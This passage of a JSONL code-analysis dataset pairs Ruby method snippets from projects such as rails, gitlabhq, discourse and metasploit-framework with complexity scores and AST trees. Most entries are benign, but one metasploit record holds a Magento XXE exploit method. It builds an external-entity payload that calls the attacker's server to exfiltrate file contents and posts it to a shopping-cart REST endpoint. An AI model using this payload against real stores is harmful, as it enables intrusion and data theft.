Actions.sh(command.join(' '))\n        UI.success(\"Pod lib lint successful ⬆️ \")\n        return result\n      end","complexity_score":81.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"run\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"params\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"command\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"use_bundle_exec\"]}]},{\"type\":\"send\",\"children\":[null,\"shell_out_should_use_bundle_exec?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command\"]},\"<<\",{\"type\":\"str\",\"children\":[\"bundle exec\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command\"]},\"<<\",{\"type\":\"str\",\"children\":[\"pod lib lint\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"podspec\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"podspec\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"verbose\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command\"]},\"<<\",{\"type\":\"str\",\"children\":[\"--verbose\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"allow_warnings\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command\"]},\"<<\",{\"type\":\"str\",\"children\":[\"--allow-warnings\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"sources\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"--sources='\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"sources\"]}]},\"join\",{\"type\":\"str\",\"children\":[\",\"]}]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"subspec\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"--subspec='\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"subspec\"]}]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"include_podspecs\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"--include-podspecs='\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"include_podspecs\"]}]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"external_podspecs\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"--external-podspecs='\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"external_podspecs\"]}]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"swift_version\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"--swift-version=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"swift_version\"]}]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"use_libraries\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command\"]},\"<<\",{\"type\":\"str\",\"children\":[\"--use-libraries\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"use_modular_headers\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command\"]},\"<<\",{\"type\":\"str\",\"children\":[\"--use-modular-headers\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"fail_fast\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command\"]},\"<<\",{\"type\":\"str\",\"children\":[\"--fail-fast\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"private\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command\"]},\"<<\",{\"type\":\"str\",\"children\":[\"--private\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"quick\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command\"]},\"<<\",{\"type\":\"str\",\"children\":[\"--quick\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"no_clean\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command\"]},\"<<\",{\"type\":\"str\",\"children\":[\"--no-clean\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"no_subspecs\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command\"]},\"<<\",{\"type\":\"str\",\"children\":[\"--no-subspecs\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"platforms\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"--platforms=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"platforms\"]}]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"skip_import_validation\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command\"]},\"<<\",{\"type\":\"str\",\"children\":[\"--skip-import-validation\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"skip_tests\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command\"]},\"<<\",{\"type\":\"str\",\"children\":[\"--skip-tests\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"analyze\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command\"]},\"<<\",{\"type\":\"str\",\"children\":[\"--analyze\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Actions\"]},\"sh\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command\"]},\"join\",{\"type\":\"str\",\"children\":[\" \"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"success\",{\"type\":\"str\",\"children\":[\"Pod lib lint successful ⬆️ \"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}]}","id":"e96e8cd3-9236-4c39-b606-c546d2691f68"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/test.rb","start_line":207,"raw_source":"def fixed\n    rescan.fixed_warnings\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"fixed\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rescan\"]},\"fixed_warnings\"]}]}","id":"e4d90e58-4331-4686-b370-000fc1c26577"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/projects/prometheus/alerts/notify_service.rb","start_line":32,"raw_source":"def execute(token, integration = nil)\n          return bad_request unless valid_payload_size?\n          return unprocessable_entity unless self.class.processable?(params)\n          return unauthorized unless valid_alert_manager_token?(token, integration)\n\n          truncate_alerts! if max_alerts_exceeded?\n\n          process_prometheus_alerts(integration)\n\n          created\n        end","complexity_score":17.8,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"token\"]},{\"type\":\"optarg\",\"children\":[\"integration\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"valid_payload_size?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"bad_request\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"processable?\",{\"type\":\"send\",\"children\":[null,\"params\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"unprocessable_entity\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"valid_alert_manager_token?\",{\"type\":\"lvar\",\"children\":[\"token\"]},{\"type\":\"lvar\",\"children\":[\"integration\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"unauthorized\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"max_alerts_exceeded?\"]},{\"type\":\"send\",\"children\":[null,\"truncate_alerts!\"]},null]},{\"type\":\"send\",\"children\":[null,\"process_prometheus_alerts\",{\"type\":\"lvar\",\"children\":[\"integration\"]}]},{\"type\":\"send\",\"children\":[null,\"created\"]}]}]}","id":"2229aaa7-898e-4c97-ab49-cc84fc27bc6f"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/layout/line_length.rb","start_line":385,"raw_source":"def allowed_combination?(line, uri_range, qualified_name_range)\n          if uri_range && qualified_name_range\n            allowed_position?(line, uri_range) && allowed_position?(line, qualified_name_range)\n          elsif uri_range\n            allowed_position?(line, uri_range)\n          elsif qualified_name_range\n            allowed_position?(line, qualified_name_range)\n          else\n            false\n          end\n        end","complexity_score":10.3,"ast_json":"{\"type\":\"def\",\"children\":[\"allowed_combination?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"line\"]},{\"type\":\"arg\",\"children\":[\"uri_range\"]},{\"type\":\"arg\",\"children\":[\"qualified_name_range\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri_range\"]},{\"type\":\"lvar\",\"children\":[\"qualified_name_range\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allowed_position?\",{\"type\":\"lvar\",\"children\":[\"line\"]},{\"type\":\"lvar\",\"children\":[\"uri_range\"]}]},{\"type\":\"send\",\"children\":[null,\"allowed_position?\",{\"type\":\"lvar\",\"children\":[\"line\"]},{\"type\":\"lvar\",\"children\":[\"qualified_name_range\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri_range\"]},{\"type\":\"send\",\"children\":[null,\"allowed_position?\",{\"type\":\"lvar\",\"children\":[\"line\"]},{\"type\":\"lvar\",\"children\":[\"uri_range\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"qualified_name_range\"]},{\"type\":\"send\",\"children\":[null,\"allowed_position?\",{\"type\":\"lvar\",\"children\":[\"line\"]},{\"type\":\"lvar\",\"children\":[\"qualified_name_range\"]}]},{\"type\":\"false\",\"children\":[]}]}]}]}]}","id":"cb7c8f49-ee92-4724-b985-a5b268240895"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/encryption/encryption_schemes_test.rb","start_line":197,"raw_source":"def encrypted?(text)\n        decrypt(text)\n      rescue ActiveRecord::Encryption::Errors::Decryption\n        false\n      end","complexity_score":2.1,"ast_json":"{\"type\":\"def\",\"children\":[\"encrypted?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"text\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[null,\"decrypt\",{\"type\":\"lvar\",\"children\":[\"text\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Encryption\"]},\"Errors\"]},\"Decryption\"]}]},null,{\"type\":\"false\",\"children\":[]}]},null]}]}","id":"b76b0d32-ed39-4aaf-8b64-bb3f596221bc"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/vendor/jenkins/client.rb","start_line":112,"raw_source":"def last_build_log(job_name, start = 0)\n          get(\n            path: \"/job/#{job_name}/#{last_build_id(job_name)}/logText/progressiveText\",\n            params: { start: start }\n          ).body\n        end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"last_build_log\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"job_name\"]},{\"type\":\"optarg\",\"children\":[\"start\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"path\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/job/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job_name\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"last_build_id\",{\"type\":\"lvar\",\"children\":[\"job_name\"]}]}]},{\"type\":\"str\",\"children\":[\"/logText/progressiveText\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"start\"]},{\"type\":\"lvar\",\"children\":[\"start\"]}]}]}]}]}]},\"body\"]}]}","id":"9fcad396-005f-4f8c-b9a8-fdb830a3288e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/http/response.rb","start_line":106,"raw_source":"def get_html_document\n    Nokogiri::HTML(self.body)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"get_html_document\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Nokogiri\"]},\"HTML\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"body\"]}]}]}","id":"0cca7aea-409a-4081-b9c2-af7cb7e4de54"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/jobs/base.rb","start_line":252,"raw_source":"def self.clear_cluster_concurrency_lock!\n      Discourse.redis.without_namespace.del(cluster_concurrency_redis_key)\n    end","complexity_score":4.8,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"clear_cluster_concurrency_lock!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"redis\"]},\"without_namespace\"]},\"del\",{\"type\":\"send\",\"children\":[null,\"cluster_concurrency_redis_key\"]}]}]}","id":"02d3f579-2f25-4727-87ac-3384baf121c6"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/validations/uniqueness_validation_test.rb","start_line":657,"raw_source":"def teardown\n    Topic.clear_validators!\n    @connection.remove_index(:topics, name: :topics_index, if_exists: true)\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"teardown\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"clear_validators!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"remove_index\",{\"type\":\"sym\",\"children\":[\"topics\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"topics_index\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"if_exists\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"48877d02-94c6-4048-ae67-7404dbd3ee76"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib_static/open_project/acts/watchable.rb","start_line":135,"raw_source":"def remove_watcher(user)\n          return nil unless user&.is_a?(User)\n\n          watchers_to_delete = watchers.find_all { |watcher| watcher.user == user }\n          watchers_to_delete.each(&:delete)\n          watchers.reload\n          watchers_to_delete.count\n        end","complexity_score":14.0,"ast_json":"{\"type\":\"def\",\"children\":[\"remove_watcher\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"User\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"watchers_to_delete\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"watchers\"]},\"find_all\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"watcher\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"watcher\"]},\"user\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"user\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"watchers_to_delete\"]},\"each\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"delete\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"watchers\"]},\"reload\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"watchers_to_delete\"]},\"count\"]}]}]}","id":"00c3edc3-f43f-4bf0-9319-02c727df538e"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/reflection.rb","start_line":1220,"raw_source":"def deprecated_nested_reflections\n        @deprecated_nested_reflections ||= collect_deprecated_nested_reflections\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"deprecated_nested_reflections\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@deprecated_nested_reflections\"]},{\"type\":\"send\",\"children\":[null,\"collect_deprecated_nested_reflections\"]}]}]}","id":"f2ff409a-9111-4c4e-a90c-11b0321b67e3"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/snmp/ber.rb","start_line":150,"raw_source":"def build_integer(data, start, num_octets)\n        number = 0\n        num_octets.times { |i| number = number<<8 | data[start+i].ord }\n        return number\n    end","complexity_score":11.38,"ast_json":"{\"type\":\"def\",\"children\":[\"build_integer\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data\"]},{\"type\":\"arg\",\"children\":[\"start\"]},{\"type\":\"arg\",\"children\":[\"num_octets\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"number\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"num_octets\"]},\"times\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"i\"]}]},{\"type\":\"lvasgn\",\"children\":[\"number\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"number\"]},\"<<\",{\"type\":\"int\",\"children\":[8]}]},\"|\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"start\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"i\"]}]}]},\"ord\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"number\"]}]}]}]}","id":"5b09f967-5dfc-4027-af35-867992f90761"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/finder_test.rb","start_line":991,"raw_source":"def test_model_class_responds_to_third_to_last_bang\n    assert Topic.third_to_last!\n    Topic.delete_all\n    assert_raises ActiveRecord::RecordNotFound, match: \"Couldn't find Topic\" do\n      Topic.third_to_last!\n    end\n  end","complexity_score":6.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_model_class_responds_to_third_to_last_bang\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"third_to_last!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"delete_all\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"RecordNotFound\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"match\"]},{\"type\":\"str\",\"children\":[\"Couldn't find Topic\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"third_to_last!\"]}]}]}]}","id":"2a7fb2a8-a933-42d4-8ebc-8d84522c4d4c"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/presence_channel.rb","start_line":379,"raw_source":"def release_mutex(mutex_value)\n    PresenceChannel.redis_eval(:release_mutex, [redis_key_mutex], [mutex_value])\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"release_mutex\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"mutex_value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PresenceChannel\"]},\"redis_eval\",{\"type\":\"sym\",\"children\":[\"release_mutex\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"redis_key_mutex\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mutex_value\"]}]}]}]}","id":"4d027c2a-7e05-4098-91ef-b739dd047134"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/magento_xxe_to_glibc_buf_overflow.rb","start_line":207,"raw_source":"def send_path(path)\n    @filter_path = Rex::Text.encode_base64(path)\n\n    vprint_status('Sending XXE request')\n    vprint_status(\"Filter path being sent: #{@filter_path}\")\n\n    system_entity = Rex::Text.rand_text_alpha_lower(4..8)\n\n    xml = \"<?xml version='1.0' ?>\"\n    xml += \"<!DOCTYPE #{Rex::Text.rand_text_alpha_lower(4..8)}\"\n    xml += '['\n    xml += \"  <!ELEMENT #{Rex::Text.rand_text_alpha_lower(4..8)} ANY >\"\n    xml += \"    <!ENTITY % #{system_entity} SYSTEM \\\"http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{@url_file}/#{@filter_path}\\\"> %#{system_entity}; %#{@xxe_param};  \"\n    xml += ']'\n    xml += \"> <r>&#{@xxe_exfil};</r>\"\n\n    json = {\n      address: {\n        totalsReader: {\n          collectorList: {\n            totalCollector: {\n              sourceData: {\n                data: xml,\n                options: 524290\n              }\n            }\n          }\n        }\n      }\n    }\n\n    res = send_request_cgi({\n      'method' => 'POST',\n      'uri' => normalize_uri(target_uri.path, \"/rest/V1/guest-carts/#{Rex::Text.rand_text_alpha(32)}/estimate-shipping-methods\"),\n      'ctype' => 'application/json',\n      'data' => JSON.generate(json)\n    })\n\n    res\n  end","complexity_score":37.05,"ast_json":"{\"type\":\"def\",\"children\":[\"send_path\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@filter_path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"encode_base64\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"str\",\"children\":[\"Sending XXE request\"]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Filter path being sent: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@filter_path\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"system_entity\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha_lower\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[4]},{\"type\":\"int\",\"children\":[8]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"xml\",{\"type\":\"str\",\"children\":[\"<?xml version='1.0' ?>\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"xml\"]},\"+\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<!DOCTYPE \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha_lower\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[4]},{\"type\":\"int\",\"children\":[8]}]}]}]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"xml\"]},\"+\",{\"type\":\"str\",\"children\":[\"[\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"xml\"]},\"+\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"  <!ELEMENT 